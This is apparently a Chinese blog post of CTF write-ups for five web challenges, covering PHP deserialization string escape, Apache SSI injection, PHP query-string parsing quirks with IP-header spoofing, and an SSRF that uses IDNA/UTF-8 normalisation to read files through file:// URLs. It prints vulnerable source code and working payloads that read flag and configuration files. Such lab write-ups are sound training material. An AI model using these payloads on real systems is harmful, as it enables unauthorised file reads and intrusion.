• buuctf刷题9 (反序列化逃逸&shtml-SSI远程命令执行&idna与utf-8编码漏洞)


     

    目录

    安洵杯2019 easy_serialize_php (反序列化中的对象逃逸)

    [0CTF 2016]piapiapia(反序列化逃逸)

    [BJDCTF2020]EasySearch(Apache SSI远程命令执行漏洞)

    [MRCTF2020]套娃(php解析特性&CLIENT-IP&逆写程序)

    [SUCTF 2019]Pythonginx(ssrf&idna与utf-8编码漏洞)


    安洵杯2019 easy_serialize_php (反序列化中的对象逃逸)

    1. $function = @$_GET['f'];
    2. function filter($img){ # 过滤掉array里的内容,置换为空
    3. $filter_arr = array('php','flag','php5','php4','fl1g');
    4. $filter = '/'.implode('|',$filter_arr).'/i';
    5. return preg_replace($filter,'',$img);
    6. }
    7. if($_SESSION){
    8. unset($_SESSION);
    9. }
    10. $_SESSION["user"] = 'guest';
    11. $_SESSION['function'] = $function;
    12. extract($_POST); # 存在变量覆盖
    13. if(!$function){
    14. echo 'source_code';
    15. }
    16. if(!$_GET['img_path']){
    17. $_SESSION['img'] = base64_encode('guest_img.png');
    18. }else{
    19. $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    20. }
    21. $serialize_info = filter(serialize($_SESSION)); #序列化后的$_SESSION用filter函数过滤
    22. if($function == 'highlight_file'){
    23. highlight_file('index.php');
    24. }else if($function == 'phpinfo'){
    25. eval('phpinfo();'); //maybe you can find something in here!
    26. }else if($function == 'show_image'){
    27. $userinfo = unserialize($serialize_info);
    28. echo file_get_contents(base64_decode($userinfo['img']));
    29. }

    审计代码,get传参f参数是function,题目提示说 phpinfo里可能有东西 我们去看一下

     可以看到这里包含了flag文件 flag应该就在这个d0g3_f1ag.php里

    得到flag文件的利用点:

    1. else if($function == 'show_image'){
    2. $userinfo = unserialize($serialize_info);
    3. echo file_get_contents(base64_decode($userinfo['img']));
    4. }

    构造 base64_decode($userinfo['img']) 为我们的d0g3_f1ag.php

    $userinfo['img']应该是 ZDBnM19mMWFnLnBocA==

    即$serialize_info 序列化内容里 键值为'img'的其值应该是 ZDBnM19mMWFnLnBocA==

    而 $serialize_info= filter(serialize($_SESSION))

    所以我们应该构造我们的SESSION

    此题存在反序列化逃逸

    反序列化的对象逃逸问题一般分为两种,首先是过滤函数分为两种情况

    • 第一种为关键词数增加
      例如: where->hacker,这样词数由五个增加到6个
    • 第二种为关键词数减少
      例如:直接过滤掉一些关键词,例如此题
    1. extract($_POST); # 存在变量覆盖
    2. if(!$_GET['img_path']){
    3. $_SESSION['img'] = base64_encode('guest_img.png');
    4. }else{
    5. $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    6. }

             extract($_POST)就是将post的内容作为这个函数的参数。

            然后就是变量覆盖。如果post传参为_SESSION[flag]=123,那么之前的$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖

    我们看一下,在img_path为空时,$serialize_info内容:

     

            因为我们要让img的内容为d0g3_f1ag.phpbase64编码后的字符串,所以要传_SESSION[img]=s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

            但是我们发现我们构造的img被覆盖了,因为在post的后面 又重新给$_SESSION[img]赋值了。

            这里就利用到了filter函数

            如果我们传入  _SESSION[imgflagphp]=1111 会发现 s:10:"img" 我们输入的flagphp被替换为了空,只剩下了img,这样就有反序列化逃逸那味了,逃逸了7个字符。  那我们是不是可以根据此来构造一个反序列化传,把后面的他重新给$_SESSION[img]赋的值整外面去呢。

     

     看一下这个序列化串:a:2:{s:10:"img";s:4:"1111";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

    我们想的是,能不能让 s:10: 成功读取红色部分,然后后面串里的内容就为自己所控

    构造_SESSION[imgflagphp]:;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

    发现好像可行,我们去试试

    结果不行:

    原因:看前面的a:2那里,如果我们这样构造的话,序列化内容就不满足a:2了。(即有两个元素)

    我们再构造一个元素就行了。

    payload:;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 添加了一个 s:1:"1";

    成功!! 回到题目,post之后页面无内容

    查看源码:

     再次构造一个/d0g3_fllllllag base64encode一下 读取

    payload:;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

    [0CTF 2016]piapiapia(反序列化逃逸)

    拿到一个登录框,什么也不知道,扫一下目录 扫出来了 www.zip

    得到了 class.php,profile.php,index.php,register.php,config.php,update.php

    审计可知:

    我们先去 register.php 注册一个长度>3 <16的username和password

    登录,index.php源码里有:header('Location: profile.php');

    看一下profile.php里的内容  调用了user类的show_profile($username)函数

    有一个反序列化的点:unserialize($profile)

    $photo应该就是读取flag的点,需要构造$profile序列化'photo' 键值为 flag文件位置 

    1. $profile=$user->show_profile($username);
    2. if($profile == null) {
    3. header('Location: update.php');
    4. }
    5. else {
    6. $profile = unserialize($profile);
    7. $phone = $profile['phone'];
    8. $email = $profile['email'];
    9. $nickname = $profile['nickname'];
    10. $photo = base64_encode(file_get_contents($profile['photo']));

    再看一下提示:header('Location: update.php'); 看看update.php内容

    1. if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
    2. $username = $_SESSION['username'];
    3. if(!preg_match('/^\d{11}$/', $_POST['phone']))
    4. die('Invalid phone');
    5. if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    6. die('Invalid email');
    7. if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    8. die('Invalid nickname');
    9. $file = $_FILES['photo'];
    10. if($file['size'] < 5 or $file['size'] > 1000000)
    11. die('Photo size error');
    12. move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    13. $profile['phone'] = $_POST['phone'];
    14. $profile['email'] = $_POST['email'];
    15. $profile['nickname'] = $_POST['nickname'];
    16. $profile['photo'] = 'upload/' . md5($file['name']);
    17. $user->update_profile($username, serialize($profile));
    18. echo 'Update Profile Success!Your Profile';

    规定了 phone,email,nickname的格式以及 photo的文件上传

    然后看看class.php 里面有我们的user类   class.php 包含了config.php config.php里有$flag=' '

    所以我们最后应该是要读取到config.php里的内容

    看一下 update_profile()与 show_profile()函数内容

    1. public function show_profile($username) {
    2. $username = parent::filter($username);
    3. $where = "username = '$username'";
    4. $object = parent::select($this->table, $where);
    5. return $object->profile;
    6. }
    7. public function update_profile($username, $new_profile) {
    8. $username = parent::filter($username);
    9. $new_profile = parent::filter($new_profile);
    10. $where = "username = '$username'";
    11. return parent::update($this->table, 'profile', $new_profile, $where);
    12. }

            update_profile会王username的表里写入photo文件内容,show_profile则是从username的表里读取数据返回

    filter函数

    1. public function filter($string) {
    2. $escape = array('\'', '\\\\');
    3. $escape = '/' . implode('|', $escape) . '/';
    4. $string = preg_replace($escape, '_', $string);
    5. $safe = array('select', 'insert', 'update', 'delete', 'where');
    6. $safe = '/' . implode('|', $safe) . '/i';
    7. return preg_replace($safe, 'hacker', $string);
    8. }

     一些特殊的符号会用下划线代替,而且 增删改查也被替换成hacker了

    上面是审计部分,下面开始利用:

    看一下profile.php里的,是把数组序列化$profile 反序列化之后 赋给$profile

    然后再将上传的photo中的内容用base64表示

    1. $profile = unserialize($profile);
    2. $photo = base64_encode(file_get_contents($profile['photo']));

     如果能讲photo中的文件名换成config.php,就可以了。这里就考察到了反序列化逃逸知识点。

    类似于上面的一道题,不过是反序列化逃逸的另一种(关键词增加)。

    如果我们正常上传一个文件的话 serialize($profile)应该是:

    a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:11:"123@163.com";s:8:"nickname";s:3:"abc";s:5:"photo";s:40:"/upload/202cb962ac59075b964b07152d234b70";}

    但其实我们之前上传的nickname是可以用数组绕过正则的  传nickname[]=abc

    a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:11:"123@163.com";s:8:"nickname";a:1:{i:0;s:3:"abc";}s:5:"photo";s:40:"/upload/202cb962ac59075b964b07152d234b70";}

    因此我们可以利用nickname来对后面的photo 实现序列化逃逸s:8:"nickname";a:1:{i:0;s:3:"abc";}s:5:"photo";s:40:"/upload/202cb962ac59075b964b07152d234b70";}

     从而构造我们想要的photo数据

    如何利用?

            nickname我们可以输入 xxx"}s:5:“photo”;s:10:“config.php”;}这样就可以把后面的忽略掉但是这个xxx的长度我们要保证符合真实的长度。这里正好可以利用过滤里的方法,因为nickname是先序列化然后再过滤的,但是生成的序列化字符串的长度还是原来的。比如我们nickname输入的是where长度是5 经过过滤后变成hacker长度变成了6.这时我们就可以有一个长度的字符可以利用

    比如构造: nickname[photo]=";}s:5:"photo";s:10:"config.php";}

    序列化串为:a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:11:"123@163.com";s:8:"nickname";a:1:{s:5:"photo";s:34:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:40:"/upload/202cb962ac59075b964b07152d234b70";}"

            需要填充的内容是红色部分,同时我们还需要利用红色部分前面加xxx把前面的s:34:"";给满足掉,所以xxx应该为34个where,这样他变成hacker之后就会提供34个长度可利用字符,从而实现字符串逃逸!。

    payload:nickename[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

    之后回到我们的profile 查看图片

     赋值base64解码后得到flag

    [BJDCTF2020]EasySearch(Apache SSI远程命令执行漏洞)

    进入题目,看见一个登录框

     结合题目应该是存在文件泄露,最终在index.php.swp得到源码

    1. ob_start();
    2. function get_hash(){
    3. $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
    4. $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
    5. $content = uniqid().$random;
    6. return sha1($content);
    7. }
    8. header("Content-Type: text/html;charset=utf-8");
    9. ***
    10. if(isset($_POST['username']) and $_POST['username'] != '' )
    11. {
    12. $admin = '6d0bc1';
    13. if ( $admin == substr(md5($_POST['password']),0,6)) {
    14. echo "";
    15. $file_shtml = "public/".get_hash().".shtml";
    16. $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
    17. $text = '
    18. ***
    19. ***
    20. Hello,'.$_POST['username'].'

    21. ***
    22. ***';
    23. fwrite($shtml,$text);
    24. fclose($shtml);
    25. ***
    26. echo "[!] Header error ...";
    27. } else {
    28. echo "";
    29. }else
    30. {
    31. ***
    32. }
    33. ***
    34. ?>

    审计得知:md5(password)的前六位为:6d0bc1

    python爆破一下得到:2020666 2305004 9162671

    1. import hashlib
    2. for i in range(0,10000000):
    3. if hashlib.md5(str(i).encode('utf-8')).hexdigest()[0:6] == '6d0bc1':
    4. print(i)

    go 一下之后 welcome to manage system 然后没了。。但是在左上角发现

    burp抓包看一下header

     看见了Url_is_here里的shtml路径。搜索得知是SSI注入

    Apache SSI远程命令执行漏洞

    SSI注入漏洞介绍

            SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。

            SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

            一个存在反射型XSS漏洞的页面,如果输入的payload不是XSS代码而是SSI的标签,同时服务器又开启了对SSI的支持的话就会存在SSI漏洞。

    SSI注入条件

        Web 应用程序在返回响应的HTML页面时,嵌入了用户输入

        Web 应用程序未对相关SSI关键字做过滤

        Web 服务器已支持SSI(服务器端包含)

    利用方式

       
       

    这道题可以看出username处被写入了shtml文件。

    Hello,'.$_POST['username'].'

    构造payload:

    执行ls命令

    执行成功,返回了一堆 hash.shtml文件名称

     

    根目录下也没有flag文件。可能是在/var/www/html下面

     

    得到flag

    [MRCTF2020]套娃(php解析特性&CLIENT-IP&逆写程序)

    进入题目,在源码种得到第一关的代码:

    1. $query = $_SERVER['QUERY_STRING'];
    2. if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    3. die('Y0u are So cutE!');
    4. }
    5. if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    6. echo "you are going to the next ~";

    $_SERVER[‘QUERY_STRING’]用于获取url中的参数

    首先是我们传的参数不能带有_和%5f 否则会die()

    然后我们需要传入一个 b_u_p_t参数,满足他不是23333 但是呢正则又要匹配我们的输入为23333开头和结尾..

    如何绕过对_的过滤呢,我们可以利用php的解析特性

    用%20,. ,空格,[,等来定义变量名称时,变量名称会把这些转化为_

     绕过正则的话,/^23333$/这里的正则匹配是开头和结尾进行匹配。可以使用%0a即换行符进行绕过。

    回车与换行的区别 - 知乎

    我们访问一下 secrettw.php 在源码里发现了一串 JSFUCK编码

    执行一下,弹出来了 post me Merak  post一下得到了源码 我们摘取其中有用的部分

    1. include 'takeip.php';
    2. ini_set('open_basedir','.');
    3. include 'flag.php';
    4. function change($v){
    5. $v = base64_decode($v);
    6. $re = '';
    7. for($i=0;$i<strlen($v);$i++){
    8. $re .= chr ( ord ($v[$i]) + $i*2 );
    9. }
    10. return $re;
    11. }
    12. echo 'Local access only!'."
      "
      ;
    13. $ip = getIp();
    14. if($ip!='127.0.0.1')
    15. echo "Sorry,you don't have permission! Your ip is :".$ip;
    16. if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    17. echo "Your REQUEST is:".change($_GET['file']);
    18. echo file_get_contents(change($_GET['file'])); }

            include了flag.php flag应该就在其中

    想要得到flag呢,我们需要满足$ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' 两个条件,来执行file_get_contents汉()函数

    一、满足$ip === '127.0.0.1' 我们可以在请求报种试着添加下面的字段

    X-Forwarded-For:    banned

    CLIENT-IP:     可行

    X-REAL-IP:    banned

    二、满足file_get_contents($_GET['2333']) === 'todat is a happy day'

    可以用data协议绕过

    data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取

    2333=data://text/plain,todat is a happy day

     成功绕过,但是我们发现我们传入的file 还经过了change函数的处理,读取的并不是flag.php

     这个change函数有一点点re那味了,我们逆着写一下 求一下输入什么会return flag.php

    1. function change($v){
    2. $v = base64_decode($v);
    3. $re = '';
    4. for($i=0;$i<strlen($v);$i++){
    5. $re .= chr ( ord ($v[$i]) + $i*2 );
    6. }
    7. return $re;
    8. }

    他会对我们传入的file先base64_dncode一下,然后遍历 chr ord啥啥啥

    这里贴一下反写的php脚本:

    1. function rechange($v){
    2. $re = '';
    3. for($i=0;$i<strlen($v);$i++){
    4. $re .= chr ( ord ($v[$i]) - $i*2 );
    5. }
    6. $re = base64_encode($re);
    7. return $re;
    8. }
    9. $file = 'flag.php';
    10. echo rechange($file);

    得到ZmpdYSZmXGI= 我们更改file为:file=ZmpdYSZmXGI=

    得到flag

    [SUCTF 2019]Pythonginx(ssrf&idna与utf-8编码漏洞)

    进入题目,查看源码得到:

    1. @app.route('/getUrl', methods=['GET', 'POST'])
    2. def getUrl():
    3. url = request.args.get("url") #读取url
    4. host = parse.urlparse(url).hostname #读取url种的主机名 例如:http://www.baidu.com/index.php?a=111 会读取到www.baidu.com
    5. if host == 'suctf.cc':
    6. return "我扌 your problem? 111"
    7. parts = list(urlsplit(url)) #提取url中的各个字段
    8. host = parts[1] #获取主机名即域名
    9. if host == 'suctf.cc':
    10. return "我扌 your problem? 222 " + host
    11. newhost = []
    12. for h in host.split('.'):
    13. newhost.append(h.encode('idna').decode('utf-8'))#先idna编码再utf8解码
    14. parts[1] = '.'.join(newhost) #组合成域名
    15. #去掉 url 中的空格
    16. finalUrl = urlunsplit(parts).split(' ')[0]
    17. host = parse.urlparse(finalUrl).hostname #获取主机名
    18. if host == 'suctf.cc': #判断是否为suctf.cc
    19. return urllib.request.urlopen(finalUrl).read() #读取finalUrl
    20. else:
    21. return "我扌 your problem? 333"
    22. #
    23. #

            根据题目提示Dont worry about the suctf.cc. Go on!猜测应该是hosts文件suctf.cc绑定了127.0.0.1,既然是127.0.0.1我们可以尝试用file协议读一下文件

            前两次通过parse.urlparse(url).hostname和urlspilt来判断主机名,如果是suctf.cc则失败,第三次经过idna编码和utf8解码后来判断是否为suctf.cc 。我们要绕过parse.urlparse(url).hostname和urlspilt 的判断

    我们需要利用ssrf来读取flag,题目提醒了中间件是nginx,从nginx的一些配置信息找flag文件位置

    Ngnix重要文件位置

    配置文件存放目录:/etc/nginx
    Nginx配置文件:/usr/local/nginx/conf/nginx.conf
    管理脚本:/usr/lib64/systemd/system/nginx.service
    模块:/usr/lisb64/nginx/modules
    应用程序:/usr/sbin/nginx
    程序默认存放位置:/usr/share/nginx/html
    日志默认存放位置:/var/log/nginx

    我们查看一下Nginx的配置文件:

    应该是:file://suctf.cc/usr/local/nginx/conf/nginx.conf

    但这道题有对suctf.cc 的限制,所以我们要寻找满足条件的字符,即经过idna编码然后utf8编码后是suctf.cc

    idna与utf-8编码漏洞

    ℆这个字符,如果使用python3进行idna编码的话
    print(‘℆’.encode(‘idna’))
    结果
    b’c/u’
    如果再使用utf-8进行解码的话
    print(b’c/u’.decode(‘utf-8’))
    结果
    c/u
    通过这种方法可以绕过网站的一些过滤字符

    参考:[SUCTF 2019]Pythonginx1_Joker. .的博客-CSDN博客

    贴上爆破脚本:

    1. from urllib.parse import urlparse,urlunsplit,urlsplit
    2. from urllib import parse
    3. def get_unicode():
    4. for x in range(65536):
    5. uni=chr(x)
    6. url="http://suctf.c{}".format(uni)
    7. try:
    8. if getUrl(url):
    9. print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
    10. except:
    11. pass
    12. def getUrl(url):
    13. url = url
    14. host = parse.urlparse(url).hostname
    15. if host == 'suctf.cc':
    16. return False
    17. parts = list(urlsplit(url))
    18. host = parts[1]
    19. if host == 'suctf.cc':
    20. return False
    21. newhost = []
    22. for h in host.split('.'):
    23. newhost.append(h.encode('idna').decode('utf-8'))
    24. parts[1] = '.'.join(newhost)
    25. finalUrl = urlunsplit(parts).split(' ')[0]
    26. host = parse.urlparse(finalUrl).hostname
    27. if host == 'suctf.cc':
    28. return True
    29. else:
    30. return False
    31. if __name__=="__main__":
    32. get_unicode()

     payload:l?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf

    发现 flag在 /usr/fffffflag

    payload:l?url=file://suctf.cℂ/usr/fffffflag

    注:还有一个字符℆,经过编码解码后是c/u

    也可以利用其构造payload:

    file://suctf.c℆sr/local/nginx/conf/nginx.conf

    file://suctf.c℆sr/fffffflag

  • 相关阅读:
    【20221028】【每日一题】左叶子之和
    SpringCloud-6-pom文件中常用的标签
    基于C#制作一个串口通信调试软件
    部署ai画图服务器
    GIS前端—Popup标注视图
    微信小程序学习之五种页面跳转方法.
    科学家绘制全球140多万个湖泊和水库的水下地形图
    Vue3,Typescript中引用组件路径无法找到模块报错
    英雄联盟比赛选手的六芒星能力图动画是如何制作的?
    Win 10出现bitlocke恢复,蓝屏错误代码0x1600007e
  • 原文地址:https://blog.csdn.net/weixin_63231007/article/details/127344804